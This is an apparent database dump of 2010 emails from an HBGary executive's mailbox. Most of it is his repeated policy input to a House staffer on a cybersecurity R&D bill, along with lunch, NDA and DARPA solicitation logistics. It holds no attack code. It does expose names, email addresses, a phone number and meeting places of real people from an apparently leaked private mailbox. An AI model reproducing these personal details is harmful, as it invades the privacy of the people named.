Input\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJake,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wish I had more time. &nbsp;But here is some input.\r\n&nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT\r\nPLAN\r\n\r\n\r\n\r\nDescribe how the program will incentivize the collaboration\r\nof academia, small and large businesses to work together to develop more\r\nsignificant capabilities. &nbsp;(my point here is there is lots of talent,\r\ncapability, overlap, but often they don\'t collaborate for reasons of market\r\nshare, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small\r\ncompanies are laser focused on immediate revenue and growth. &nbsp;Difficult to\r\nget them to think about collaboration. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will provide access to government\r\nmission sets and information for the purposes of real world research,\r\ndevelopment, and testing. &nbsp;(In many cases, you might have good ideas, good\r\ntechnology but you need a real world environment/data to test against which is\r\ndifficult to get unless you secure a contract).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the programs national research infrastructure\r\nwill provide expertise to mission owners on the effectiveness of new\r\ntechnologies. &nbsp;(It would be effective to have a technology shop that could\r\nprovide the real world testing on new technologies and provide expert opinion\r\nto the government on technology effectiveness)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will facilitate development and\r\nimplementation of newly developed technologies. &nbsp;Once you have a new\r\ntechnology then you have to go sell it, which can be a matter of contacts, etc,\r\nthings that don\'t have anything to do with the quality of the technology.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will develop a national challenge\r\nbased on priorities to effectively evaluate and reward best in class\r\ncapabilities in those areas referenced. &nbsp;How can we innovatively foster\r\nthe creation of new ideas. &nbsp;Provide a national challenge in different\r\nareas at a government sponsored cybersecurity event. &nbsp;This would allow\r\nvirtual nobodies that have developed amazing capability to get instant\r\nrecognition and exposure.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN\r\nCYBER-SECURITY\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to incentivize people to think and act\r\nmore securely in how the use systems, and develop systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop incentives to more effectively share cybersecurity\r\nrelated information amongst government, academia, and industry.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrograms to inform public of compromised systems, attack\r\ntypes, methods. &nbsp;More publicly digestible information on the threats and\r\nmethods of attack.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY\r\nRESEARCH AND DEVELOPMENT PROGRAMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENT\r\n\r\n\r\n\r\n\r\n\r\nIncentivize industry and government to bring on college\r\nstudents part time in larger numbers, mechanisms to get them in the clearance\r\nprocess, get them experience, introduced to what is actually happening in the\r\nnational cybersecurity efforts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop a set of cybersecurity programs; to teach general\r\nusers, acquisitions forces to help them write cyber requirements, and more\r\ntechnical for personnel who work on the systems so they better understand both\r\nwhy and how to secure systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop technical coaching and mentorship programs to grow\r\nthe current base into technical experts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCE\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to tie university research to industry\r\nsponsorships. &nbsp;I sat through the review of a bunch of academic papers and\r\nit was obvious the are technically sharp but operationally ignorant..get them\r\ninvolved more effectively in working on industry R&amp;D.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND\r\nDISSEMINATION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY\r\nCYBERSECURITY RESEARCH AND DEVELOPMENT\r\n\r\n\r\n\r\n\r\n\r\nDevelop cybersecurity taxonomy and metrics standards.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop standards for research, engage international\r\ncommunities, establish more cross functional committees and act as government\r\nPOC to track all cyber related research (allowing agencies to quickly see what\r\nis being done and facilitate collaboration).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nContinually\r\nassess gaps in cyber defense research, development and implementation.\r\n&nbsp;Annual assessments of cyber intrusions and investigations/remediation.\r\n&nbsp;Publicly available documentation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2483,'aaron_hbgary_com/2483.html'),(1757,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000557.M867589P3547Q1758.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Input','How about carribean breeze.4100 N Fairfax DrArlington, VA 22203AaronFrom my iPhoneOn Jan 29, 2010, at 6:38 AM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\nOn your way into DARPA today, pick a convenient restaurant and send me a quick email. I&#39;ll come to you and that will minimize your time away from the session. And if it looks too good to leave, let me know and we&#39;ll reschedule. \r\nTom\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Barnett, Jim H.; Conroy, Thomas W.\r\nSent: Fri Jan 29 05:09:39 2010Subject: Fwd: Input\r\n\r\nHere is the input I sent in.AaronFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: January 29, 2010 6:02:39 AM ESTTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;Subject: Input\r\n\r\nJake,I wish I had more time.  But here is some input.  Hope it helps.  Let me know if there is anything else I can do.Aaron\r\n\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities.  (my point here is there is lots of talent, capability, overlap, but often they don&#39;t collaborate for reasons of market share, territory, etc).  Grants for innovative integration.  Small companies are laser focused on immediate revenue and growth.  Difficult to get them to think about collaboration.  \r\n\r\nDescribe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing.  (In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).\r\n\r\nDescribe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies.  (It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)\r\n\r\nDescribe how the program will facilitate development and implementation of newly developed technologies.  Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don&#39;t have anything to do with the quality of the technology.\r\n\r\nDescribe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced.  How can we innovatively foster the creation of new ideas.  Provide a national challenge in different areas at a government sponsored cybersecurity event.  This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.\r\n\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.\r\n\r\nDevelop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.Programs to inform public of compromised systems, attack types, methods.  More publicly digestible information on the threats and methods of attack.\r\n\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMSSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\n\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.\r\n\r\nDevelop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.\r\n\r\nDevelop technical coaching and mentorship programs to grow the current base into technical experts.SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships.  I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.\r\n\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATIONSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENT\r\n\r\nDevelop cybersecurity taxonomy and metrics standards.Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).\r\n\r\nContinually assess gaps in cyber defense research, development and implementation.  Annual assessments of cyber intrusions and investigations/remediation.  Publicly available documentation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14481,'aaron_hbgary_com/14481.html'),(1758,'2010-01-29','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000557.M91052P3547Q1754.eml','aaron@hbgary.com,aaron@hbgary.com','Re: Fwd: Input','\r\nOn your way into DARPA today, pick a convenient restaurant and send me a quick email. I\'ll come to you and that will minimize your time away from the session. And if it looks too good to leave, let me know and we\'ll reschedule. Tom\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Barnett, Jim H.; Conroy, Thomas W.Sent: Fri Jan 29 05:09:39 2010Subject: Fwd: Input\r\nHere is the input I sent in.AaronFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:02:39 AM ESTTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;Subject: Input\r\nJake,I wish I had more time.  But here is some input.  Hope it helps.  Let me know if there is anything else I can do.Aaron\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities.  (my point here is there is lots of talent, capability, overlap, but often they don&#39;t collaborate for reasons of market share, territory, etc).  Grants for innovative integration.  Small companies are laser focused on immediate revenue and growth.  Difficult to get them to think about collaboration.  \r\nDescribe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing.  (In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).\r\nDescribe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies.  (It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)\r\nDescribe how the program will facilitate development and implementation of newly developed technologies.  Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don&#39;t have anything to do with the quality of the technology.\r\nDescribe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced.  How can we innovatively foster the creation of new ideas.  Provide a national challenge in different areas at a government sponsored cybersecurity event.  This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.\r\nDevelop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.Programs to inform public of compromised systems, attack types, methods.  More publicly digestible information on the threats and methods of attack.\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMSSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.\r\nDevelop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.\r\nDevelop technical coaching and mentorship programs to grow the current base into technical experts.SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships.  I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATIONSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENT\r\nDevelop cybersecurity taxonomy and metrics standards.Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).\r\nContinually assess gaps in cyber defense research, development and implementation.  Annual assessments of cyber intrusions and investigations/remediation.  Publicly available documentation.\r\n\r\n\r\n\r\n\r\n',10609,'aaron_hbgary_com/10609.html'),(1759,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000558.M127871P3547Q1759.eml','\"Ted Vera\" <ted@hbgary.com>','Baa for malware genome is out','Can u find it and email it to me.\r\n\r\n From my iPhone\r\n',1987,'aaron_hbgary_com/1987.html'),(1760,'2010-01-29','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000558.M313262P3547Q1760.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Input','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nknow the place and that&#8217;s fine.&nbsp; What time is good?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 8:14 AM\r\nTo: Conroy, Thomas W.\r\nSubject: Re: Input\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow about carribean breeze.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n4100 N Fairfax Dr\r\n\r\n\r\n\r\n\r\n\r\nArlington, VA 22203\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 6:38 AM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn your way into DARPA today, pick\r\na convenient restaurant and send me a quick email. I\'ll come to you and that\r\nwill minimize your time away from the session. And if it looks too good to\r\nleave, let me know and we\'ll reschedule. \r\nTom \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Barnett, Jim H.; Conroy, Thomas W. \r\nSent: Fri Jan 29 05:09:39 2010\r\nSubject: Fwd: Input \r\n\r\n\r\n\r\n\r\n\r\nHere is the input I sent in.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:02:39 AM EST\r\nTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: Input\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJake,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wish I had more time. &nbsp;But here is some input.\r\n&nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT\r\nPLAN\r\n\r\n\r\n\r\nDescribe how the program will incentivize the collaboration\r\nof academia, small and large businesses to work together to develop more\r\nsignificant capabilities. &nbsp;(my point here is there is lots of talent,\r\ncapability, overlap, but often they don\'t collaborate for reasons of market\r\nshare, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small\r\ncompanies are laser focused on immediate revenue and growth. &nbsp;Difficult to\r\nget them to think about collaboration. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will provide access to government\r\nmission sets and information for the purposes of real world research,\r\ndevelopment, and testing. &nbsp;(In many cases, you might have good ideas, good\r\ntechnology but you need a real world environment/data to test against which is\r\ndifficult to get unless you secure a contract).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the programs national research infrastructure\r\nwill provide expertise to mission owners on the effectiveness of new\r\ntechnologies. &nbsp;(It would be effective to have a technology shop that could\r\nprovide the real world testing on new technologies and provide expert opinion\r\nto the government on technology effectiveness)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will facilitate development and\r\nimplementation of newly developed technologies. &nbsp;Once you have a new\r\ntechnology then you have to go sell it, which can be a matter of contacts, etc,\r\nthings that don\'t have anything to do with the quality of the technology.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will develop a national challenge\r\nbased on priorities to effectively evaluate and reward best in class\r\ncapabilities in those areas referenced. &nbsp;How can we innovatively foster\r\nthe creation of new ideas. &nbsp;Provide a national challenge in different\r\nareas at a government sponsored cybersecurity event. &nbsp;This would allow\r\nvirtual nobodies that have developed amazing capability to get instant recognition\r\nand exposure.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN\r\nCYBER-SECURITY\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to incentivize people to think and act\r\nmore securely in how the use systems, and develop systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop incentives to more effectively share cybersecurity\r\nrelated information amongst government, academia, and industry.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrograms to inform public of compromised systems, attack\r\ntypes, methods. &nbsp;More publicly digestible information on the threats and\r\nmethods of attack.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY\r\nRESEARCH AND DEVELOPMENT PROGRAMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENT\r\n\r\n\r\n\r\n\r\n\r\nIncentivize industry and government to bring on college\r\nstudents part time in larger numbers, mechanisms to get them in the clearance\r\nprocess, get them experience, introduced to what is actually happening in the\r\nnational cybersecurity efforts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop a set of cybersecurity programs; to teach general\r\nusers, acquisitions forces to help them write cyber requirements, and more\r\ntechnical for personnel who work on the systems so they better understand both\r\nwhy and how to secure systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop technical coaching and mentorship programs to grow\r\nthe current base into technical experts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCE\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to tie university research to industry\r\nsponsorships. &nbsp;I sat through the review of a bunch of academic papers and\r\nit was obvious the are technically sharp but operationally ignorant..get them\r\ninvolved more effectively in working on industry R&amp;D.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND\r\nDISSEMINATION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY\r\nCYBERSECURITY RESEARCH AND DEVELOPMENT\r\n\r\n\r\n\r\n\r\n\r\nDevelop cybersecurity taxonomy and metrics standards.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop standards for research, engage international\r\ncommunities, establish more cross functional committees and act as government\r\nPOC to track all cyber related research (allowing agencies to quickly see what\r\nis being done and facilitate collaboration).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nContinually\r\nassess gaps in cyber defense research, development and implementation.\r\n&nbsp;Annual assessments of cyber intrusions and investigations/remediation.\r\n&nbsp;Publicly available documentation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16829,'aaron_hbgary_com/16829.html'),(1761,'2010-01-29','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000558.M704247P3547Q1761.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 29, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: carribean breeze&nbsp; - 4100 N Fairfax Dr&nbsp; Arlington, VA 22203\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nNot too far from the Metro \r\n\r\n\r\n',12389,'aaron_hbgary_com/12389.html'),(1762,'2010-01-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000567.M878596P3547Q1762.eml','\"Aaron Barr\" <aaron@hbgary.com>','DARPA BAA','\r\n',4648,'aaron_hbgary_com/4648.html'),(1763,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000569.M305135P3547Q1763.eml','\"Ted Vera\" <ted@hbgary.com>','Teaming website for baa','Proposal per technical area.\r\n\r\n\r\n From my iPhone\r\n',2039,'aaron_hbgary_com/2039.html'),(1764,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000569.M766004P3547Q1764.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: NDA Enroute to You','Bob,I have not received the nda yet.AaronFrom my iPhoneOn Jan 28, 2010, at 5:05 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHow ‘bout\r\n10:30 your time?  Tell Tom hello for me—he’s a former NG\r\nComputing Systems guy (if this is the same Tom Conroy).  \r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 4:03 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: NDA Enroute to You\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGreat bob.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have a meeting scheduled with Tom Conroy 1130-1pm.\r\n Any chance we could do it at any other time during the day?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 4:40 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt; \r\n\r\n\r\n\r\nAaron, \r\n\r\n \r\n\r\nI just approved the NDA between NGC &amp;\r\nHBGary and it should arrive in your eBasket shortly.  If you will quick\r\nturn it, I’d like to set-up a short concall tomorrow with you and another\r\nSB (led by another former NGCer) to discuss way ahead for no more than 30\r\nminutes.  \r\n\r\n \r\n\r\nIf this fits &amp; you agree, I’d\r\nlike to plan on 11:30 AM EST ?\r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7076,'aaron_hbgary_com/7076.html'),(1765,'2010-01-29','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297000570.M105176P3547Q1765.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Input','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, GREAT feedback. Thank you! \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 6:03 AM\r\nTo: Olcott, Jacob\r\nSubject: Input\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJake,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wish I had more time. &nbsp;But here is some input.\r\n&nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT\r\nPLAN\r\n\r\n\r\n\r\nDescribe how the program will incentivize the collaboration\r\nof academia, small and large businesses to work together to develop more\r\nsignificant capabilities. &nbsp;(my point here is there is lots of talent,\r\ncapability, overlap, but often they don\'t collaborate for reasons of market\r\nshare, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small\r\ncompanies are laser focused on immediate revenue and growth. &nbsp;Difficult to\r\nget them to think about collaboration. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will provide access to government\r\nmission sets and information for the purposes of real world research,\r\ndevelopment, and testing. &nbsp;(In many cases, you might have good ideas, good\r\ntechnology but you need a real world environment/data to test against which is\r\ndifficult to get unless you secure a contract).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the programs national research infrastructure\r\nwill provide expertise to mission owners on the effectiveness of 